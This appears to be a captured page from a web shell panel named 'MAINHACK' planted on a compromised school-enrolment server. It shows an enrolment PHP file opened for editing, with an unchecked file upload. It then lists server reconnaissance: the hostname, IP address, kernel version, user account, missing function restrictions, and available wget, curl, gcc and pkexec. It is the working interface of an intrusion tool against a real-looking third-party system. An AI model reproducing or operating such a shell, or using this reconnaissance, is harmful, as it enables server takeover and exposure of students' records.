[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: editmyrecords.php
<?php include("functions.php"); if(!isset($_SESSION['index_no78897498'])){ header("location:index"); } else { $myindex_id = $_SESSION['index_no78897498'] ?? ''; $myschoolcode = $_SESSION['myschoolcode'] ?? ''; $schoolID = $_SESSION['student_id0023894'] ?? ''; $enrolDetails = $new->prepare("SELECT * FROM enrol_details WHERE index_no = ? AND s_code = ?"); $enrolDetails->bind_param("ss", $myindex_id, $myschoolcode); $enrolDetails->execute(); $result = $enrolDetails->get_result(); $data = $result->fetch_assoc(); $rawscore1 = $data['rawscore'] ?? ''; $enrol_code1 = $data['enrol_code'] ?? ''; $jhs_attended1= $data['jhs_attended'] ?? ''; $jhs_type1 = $data['jhs_type'] ?? ''; $enrol_form1 = $data['enrol_form_file'] ?? ''; $class_id1 = $data['class_id'] ?? ''; $house_id1 = $data['house_id'] ?? ''; if (isset($_POST['submit'])) { // Collect non-personal fields $rawscore = $_POST['rawscore'] ?? ''; $enrolcode = $_POST['enrolcode'] ?? ''; $jhs = $_POST['jhs'] ?? ''; $jhs_type = $_POST['jhs_type'] ?? ''; $classselect = $_POST['classselect'] ?? ''; $house_select= $_POST['house_select'] ?? ''; $accessCode = $_POST['accessCode'] ?? ''; // Handle enrolment form upload $enrolfile_path = null; if (isset($_FILES['enrolfile']) && $_FILES['enrolfile']['error'] === UPLOAD_ERR_OK) { $uploadDir = 'uploads/enrol_forms/'; $filename = basename($_FILES['enrolfile']['name']); $targetFile = $uploadDir . time() . "_" . $filename; if (move_uploaded_file($_FILES['enrolfile']['tmp_name'], $targetFile)) { $enrolfile_path = $targetFile; } } // UPDATE query $stmt = $new->prepare(" UPDATE enrol_details SET rawscore = ?, enrol_code = ?, jhs_attended = ?, jhs_type = ?, class_id = ?, house_id = ?, enrol_form_file = IFNULL(?, enrol_form_file) WHERE index_no = ? AND access_code = ? "); $stmt->bind_param( "ssssisss", $rawscore, $enrolcode, $jhs, $jhs_type, $classselect, $house_select, $enrolfile_path, $index_no, $accessCode ); if ($stmt->execute()) { $message = "<div class='alert alert-success'>Enrolment data updated successfully!</div>"; } else { $message = "<div class='alert alert-danger'>Error updating enrolment data: " . $stmt->error . "</div>"; } $stmt->close(); } } ?> <div class="card"> <div class="card-header"> <h4 class="card-title">Admission Form</h4> <p class="card-title-desc" style="color: red;">Only non-personal fields can be edited.</p> </div> <div class="card-body"> <?php echo $message; ?> <form method="POST" enctype="multipart/form-data" class="needs-validation" novalidate> <input type="hidden" name="accessCode" value="<?php echo htmlspecialchars($access_code); ?>"> <input type="hidden" name="index_no" value="<?php echo htmlspecialchars($index_no); ?>"> <div class="row"> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Raw Score *</label> <input type="text" name="rawscore" value="<?php echo htmlspecialchars($rawscore1); ?>" required class="form-control" /> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Enrolment Code *</label> <input type="text" name="enrolcode" value="<?php echo htmlspecialchars($enrol_code1); ?>" required class="form-control" /> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>JHS Attended *</label> <input type="text" name="jhs" value="<?php echo htmlspecialchars($jhs_attended1); ?>" required class="form-control" /> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>JHS Type *</label> <select name="jhs_type" class="form-control" required> <option value="<?php echo htmlspecialchars($jhs_type1); ?>"><?php echo htmlspecialchars($jhs_type1 ?: "Select Type"); ?></option> <option value="PRIVATE">PRIVATE</option> <option value="PUBLIC">PUBLIC</option> </select> </div> </div> <div class="col-xl-4 col-md-6"> <div class="form-group mb-3"> <label>Enrolment Form Upload (PNG,JPG,JPEG)</label> <?php if (empty($enrol_form1)) { ?> <input type="file" name="enrolfile" accept=".png,.jpg,.jpeg" class="form-control"/> <?php } else { ?> <div class="image-preview"> <img src="<?php echo htmlspecialchars($enrol_form1); ?>" style="max-width:80px; max-height:80px;" /> <p>Upload new file to replace (optional)</p> <input type="file" name="enrolfile" accept=".png,.jpg,.jpeg" class="form-control"/> </div> <?php } ?> </div> </div> </div> <div class="form-group mt-3"> <button type="submit" name="submit" class="btn btn-primary">Update Enrolment Data</button> </div> </form> </div> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002